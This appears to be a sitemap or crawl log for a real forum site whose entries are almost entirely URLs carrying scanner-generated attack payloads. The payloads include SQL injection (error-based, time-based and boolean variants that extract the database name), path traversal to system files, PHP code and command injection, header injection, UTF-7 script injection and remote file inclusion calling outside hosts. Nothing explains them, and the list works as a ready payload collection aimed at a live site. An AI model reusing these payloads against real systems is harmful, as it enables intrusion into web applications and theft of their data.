http://www.cncml.com/misc.php?mod=buyinvitecode'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%20'buyinvitecode'%20ELSE%200x28%20END))%20AND%20'kf'='kf 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(49=41)%20THEN%20'buyinvitecode'%20ELSE%200x28%20END))%20AND%20'Da'='Da 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(94=94)%20THEN%200x627579696E76697465636F6465%20ELSE%200x28%20END))%20AND%20'pk'='pk 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(97=17)%20THEN%200x627579696E76697465636F6465%20ELSE%200x28%20END))%20AND%20'7G'='7G 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%22 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%20('NM'%20LIKE%20'FS 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%20('uM'%20LIKE%20'uM 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%2028=31%20AND%20('7k'='7k 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%2052=52%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%2064=12%20AND%20('KH'='KH 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%2091=91%20AND%20('aT'='aT 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20OR%2058=58%20AND%20('3Q'='3Q 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%20'buyinvitecode'%20ELSE%200x28%20END))%20AND%20('Bt'='Bt 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=34)%20THEN%20'buyinvitecode'%20ELSE%200x28%20END))%20AND%20('VX'='VX 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%200x627579696E76697465636F6465%20ELSE%200x28%20END))%20AND%20('Q8'='Q8 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(79=89)%20THEN%200x627579696E76697465636F6465%20ELSE%200x28%20END))%20AND%20('iy'='iy 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode';%20IF(77=77)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode';%20IF(91=75)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(23=44)%20THEN%200x627579696E76697465636F6465%20ELSE%200x28%20END))%20AND%20(23=23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(76=76)%20THEN%200x627579696E76697465636F6465%20ELSE%200x28%20END))%20AND%20(93=93 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode);%20IF(28=92)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode);%20IF(91=91)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,(SELECT%20(CASE%20WHEN%20(24=78)%20THEN%200x627579696E76697465636F6465%20ELSE%2024*(SELECT%2024%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,(SELECT%20(CASE%20WHEN%20(44=44)%20THEN%200x627579696E76697465636F6465%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,(SELECT%20(CASE%20WHEN%20(56=27)%20THEN%200x627579696E76697465636F6465%20ELSE%2056*(SELECT%2056%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,(SELECT%20(CASE%20WHEN%20(65=65)%20THEN%200x627579696E76697465636F6465%20ELSE%2065*(SELECT%2065%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,(SELECT%20(CASE%20WHEN%20(71=12)%20THEN%200x627579696E76697465636F6465%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,(SELECT%20(CASE%20WHEN%20(93=93)%20THEN%200x627579696E76697465636F6465%20ELSE%2093*(SELECT%2093%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode1 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode6633x3X6 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecode;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecodeAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecodeAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecodeAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecodeJyI%3D 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecodea' 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecodealert(42873) 0.0001 http://www.cncml.com/misc.php?mod=buyinvitecodee360 0.0001 http://www.cncml.com/misc.php?mod=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/misc.php?mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/misc.php?mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/misc.php?mod=dir 0.0001 http://www.cncml.com/misc.php?mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/misc.php?mod=getuserinfo&uid=-1 0.0001 http://www.cncml.com/misc.php?mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/misc.php?mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/misc.php?mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/misc.php?mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/misc.php?mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%3Cdir 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=');print(md5(1122));// 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=(SELECT%20(CASE%20WHEN%20(16=38)%20THEN%2043%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=(SELECT%20(CASE%20WHEN%20(18=95)%20THEN%2043%20ELSE%2018*(SELECT%2018%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=(SELECT%20(CASE%20WHEN%20(53=53)%20THEN%2043%20ELSE%2053*(SELECT%2053%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%2043%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=(SELECT%20(CASE%20WHEN%20(94=71)%20THEN%2043%20ELSE%2094*(SELECT%2094%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=................windowswin.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=33 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=34 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=35 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=36 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=37 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=38 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43 0.0015 http://www.cncml.com/misc.php?mod=invite&action=article&id=43!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%00' 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%2061=61 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%2066=31 0.0001 http://www.cncml.com/misc.php?mod=invite&action=article&id=43%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 